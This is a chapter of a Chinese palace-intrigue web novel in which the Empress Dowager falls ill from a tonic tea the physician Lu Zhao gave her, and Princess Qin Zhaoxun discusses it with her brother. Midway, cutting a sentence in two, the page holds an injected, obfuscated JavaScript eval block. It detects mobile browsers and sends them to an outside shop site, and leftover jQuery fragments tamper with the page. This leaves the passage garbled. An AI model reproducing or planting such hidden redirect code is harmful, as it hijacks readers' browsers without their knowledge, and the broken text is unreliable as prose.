31. 第31章

作品:《我为阿姐掌魂灯

    下了一夜的雨,今日宫人一推开窗子,屋外就是满地的落叶。新来的嬷嬷招呼下人把院子打扫打扫,眼看着没任何动静的寝殿,这心悬着都不敢放下去。


    太后病倒了。


    明明昨儿人还好好的,今一早她去服侍人起床用膳,那人就说全身乏力,连说话都是有气无力的。侍女已经去太医院请医官,这消息同时也让人带给了丽妃。毕竟是同出一族,互相给个信也好让宫外的柳家放个心。


    嬷嬷在院子里也收拾了半天,医官们随同太后的贴身婢女进了寝殿看诊,后脚八公主秦琳就来了。


    丽妃不能和太后走动太频繁,秦琳就不一样了。皇子公主来探望病着的太后可是能被人放嘴边夸赞好久的,秦琳有事没事便会来慈宁宫和太后聊会儿天,太后可是把她看得老紧了。


    “太后怎么样了?”秦琳见寝殿关着,心里肯定也是慌的。柳太后是柳家最重要的支柱,陛下若是不满柳丞相,多少还得顾一顾太后的脸面。互相制衡这么多年,一方突然倒台,最怕的那肯定是柳家。


    嬷嬷只是对她摇摇脑袋,说:“太医们也刚进去,公主再等等吧。”


    问诊的时间不长,侍女把寝殿的门打开,秦琳趁着间隙冲进去,看着太医们一个个摇着脑袋,若有若无叹着气。


    “怎么样了?太后这是生了什么病?”


    把人治死了可是掉脑袋的大罪,太医们不敢尝试,每个人都上去把了脉,最后得出的结论也都是一致的。


    “太后娘娘这是心脉枯竭,恕老臣无能为力……”


    柳太后听得清清楚楚,她进宫五十载,前半生都在和先帝那些妃嫔争个高低,后来她靠着丧子被秦燔扶着上了太后这位置,说实话,她坐的也不是很安心。


    听着太医宣告自己命数将至,她也不觉得这有多么的不值。柳太后屏退其他人,只让秦琳近身陪着她。


    “祖母……”


    “哀家命数到了,老天要我死又有什么办法呢?琳儿,这么久了,哀家也没问过你,你对费家的那公子可是真心的?”


    这门亲事是秦琳央求了丽妃许久才派人上门来商酌好的。费家空有家产,也无在朝中为官的先祖,柳太后当初也是不怎么同意的,一直都是睁一只眼闭一只眼。不过就是个婚约,到时候这冲动过去了,她们也能随时作废。


    到了那费萤进了翰林院任职,秦琳对他可是越发主动了。一个公主总这么不顾自己形象追着个男人跑实在不像话,丽妃眼看着她越陷越深,也就不好再去插手了。


    她对费萤是否真心,这问题她还真没想过。


    若初见是在宫外,秦琳不会把他放在眼里,他就是一个商贾之子,这辈子数着家中的钱财就够了。学堂,这地方于他而言貌似就是在身上再镶上一点儿金子,走出去无非是让人觉得好看了些。秦琳也是这么认为的。


    秦朝露还活着的时候她只能看着那对胜似兄妹的两人在学堂上认真温书、下学堂后嬉戏打闹。秦朝露很可爱,她母亲人也好,经常让她带着亲手做的糖糕分给学堂的学子们。虽然她有个疼她的亲哥哥,可从不会像费萤和秦朝露那般打闹的。


    直到秦朝露死去,她才明白这种感觉原来是嫉妒啊。


    秦琳不愿意承认,对着柳太后说了假话,“当然,我真的很喜欢费萤。”


    柳太后一眼就看穿了她的谎言,把头别过去,说道:“你撒谎了琳儿,你骗不了哀家的。哀家在这宫里也斗了几十年了,你这点心思又怎么会看不出来。费萤和秦朝露当年的确是惹人注意,你嫉妒也是人之常情,可琳儿,女子一但择夫婿……下半辈子过得如何就定了性了,你远离皇室、远离朝堂固然是好的,其实最重要的还是嫁给一个真心爱你、敬你的人。你敢保证过了费府的门,费萤还会把你当公主敬着吗?”


    “祖母,他不敢的,我还有父王、有皇兄,他们费家不是权势滔天的人家,又怎么敢不敬我?祖母你先好生休息,我再去太医院找人来,新上任的路院判医术高明,她一定有办法治好您的,我现在就去找她来!”


    “琳儿!”柳太后拉住秦琳的手,这一声她可是蓄了不少力气的,“当初哀家邀路院判来慈宁宫,本想拉拢她为我们所用,没想刚离开她就去了秦璃那儿。她和秦璃串通一气给哀家好大一个打击,哀家身边有用的婆子也被皇帝的人抓了去。路朝或许真有些本事,你母妃让你服毒嫁祸秦璃那次,你觉得真相是什么?宫中这么多医官没有一个人查出来,偏偏她知道,路朝从始至终都不是善茬。”


    太后卧病不起的消息当然是太医院最先收到。


    路朝在库房里收捡药材,顺便查查近来药材出库有什么异动。这一查也耽搁了不少时间,出去的医官们回来得也快,一个个进了太医院后才敢松懈一下,庆祝自己逃过了一劫。


    也到了用饭的时间,路朝打趣儿一般问起回来的医官,“太后娘娘这病看来好治?一个个的都回来这么早。”


    医官被她这么一说又起了一身的冷汗,那笑看着万分的假,“路、路院判就别吓我们了,这长生不老的丹药没人研究得出来的,我们就是几个小小医官,每个月拿的俸禄就那么点还要担心出诊做错了连累咱们一家子的人……”


    他这话说的没头没尾的,路朝一看他们,脸上表情竟然都出奇的一致。


    这就很奇怪了,她顺着话继续问:“太后怎么了?”


    “心脉枯竭,人老了。”


    “这样吗。”路朝没说其他的,从这群医官们面前过去。


    原地的医官们其实还想听听这横空出世的神医说上几句的,奈何人家神医都是清高只辈,与他们想来也没什么好话说。


    太医院的吃食很简单,医官大多都是家里会准备吃食自己带来吃,路朝不怎么会下厨,每餐去厨房里打两碗白粥她也都能喝得津津有味的。


    其实这白粥才是宫里头最难吃的东西,不咸不甜,医官们都猜这姑娘之前是不是都活着吃不饱的苦日子。一想起人家或许过得苦,心里愤愤不平的情绪也就压下去了。


    太后要死了,路朝早就预料到了,不过她没怎么去算日子。


    导致她变成这样的皆是自己送的那药茶。这药茶里掺了不少大补的稀奇药材,用作夏日消暑很不错,不过喝多了身体也是消瘦不了的,更别说太后上了年纪也会让人准备上好的补品补身子,这些大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404141|193763||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    补之物用在一起弊处就比好处多太多了。


    一切都是咎由自取,因果轮回的报应。


    ……


    铜雀宫摆放的物什很少,院里的那石凳子也不知怎么回事裂了条大缝,正好屋子外也冷,秦惟就让下人把菜送到了殿内用。


    从沅南回来其实也买了不少吃食,这些东西都不能放太久,正巧秦惟宿在宫里,今日用午膳的时候秦朝寻就一并都带了过来。食篮子里的吃食琳琅满目的,明明马车上还没注意到,也不知道她们把吃的藏哪儿带回来的。


    “再不吃就只能全丢了,怪可惜的,趁你还在宫里住,帮阿姐都吃了。”


    “阿姐,我哪吃得下这么多啊。”秦惟嘴上是这么说的,但还是奈何不了秦朝寻这么强求。


    他吃到一半,又想到今天宫里有人偷偷传的太后病倒的事情,问秦朝寻:“阿姐,柳太后这病来得可太突然了,我上次看她老人家的时候我感觉她身子硬朗得可比我舅舅还好呢。”


    “上次?你上次见柳太后的时候都是什么时候了?”


    据秦朝寻所知,秦惟可是除了太后寿宴会去慈宁宫,其他不管发生什么都是不会去的,她说的这“以前”肯定也是一年前的事了。


    秦惟被她反驳得竟然找不到一点理由了,他在心里数了数,上次见柳太后好像确实是去年太后寿宴的时候了。不过说来也是,寿宴上为了面子再怎么不舒服也会把这脸打得有精气神的,擦了那层粉之后的样子也只有太后她自己心里清楚。


    “那……好像也是。不过太医院去了那么多人都没有医官敢治的,这回柳太后恐怕真的是无力回天了,我还听说路院判没有出诊,肯定是因为上次记恨上太后了。唉,说不定路院判出马,柳太后这病还有回天之力呢。”


    近来天气都是这样阴沉沉的,这才刚用两口膳天就有要下雨的迹象,外面冷,秦朝寻草草用了几口就和秦惟叮嘱几句要照顾好自己莫病了这才放心离开。


    这小雨下得惹人心烦,小春帮她撑着油纸伞走在宫道里。下雨的时候是这宫里最闷的时候,秦朝寻兴趣不多,除了泡泡茶就是听派出去的羽卫给她说些宫里的段子听听。


    这天气在外走的宫人肯定是不多的,诵经会又在明日,秦朝寻尽量要让自己少去烦心这些,一时想到南都国的那个世子,“南都国的使者都回去了吗?我不在宫里的这几日,留下的几个羽卫没有打听一下这些?”


    这些消息都有小春整合去陈述,宫里这几日发生的事情也少,也不知道是不是因为秦朝寻不在宫里的原因,这后宫也都静的出奇。


    “南都国的使者还在宫内,陆世子从前在北离的学堂里和皇子公主们同窗过,听说他对某位说书的先生很崇敬,向陛下请示了想继续听听那先生说书。只是那个先生患了病,两年前就故去了。那个先生殿下应该不会陌生吧?是学堂里最喜欢十二殿下的那位。”


    “那位啊,不陌生。”秦朝寻有些心不在焉,只看见前面突然显现一个黑色的影子。


    那黑影极高,小春把伞稍稍往后倾斜了两人才看清那人的真面目。


    那人笑着,没有一点儿心机,“又见面了,七公主。”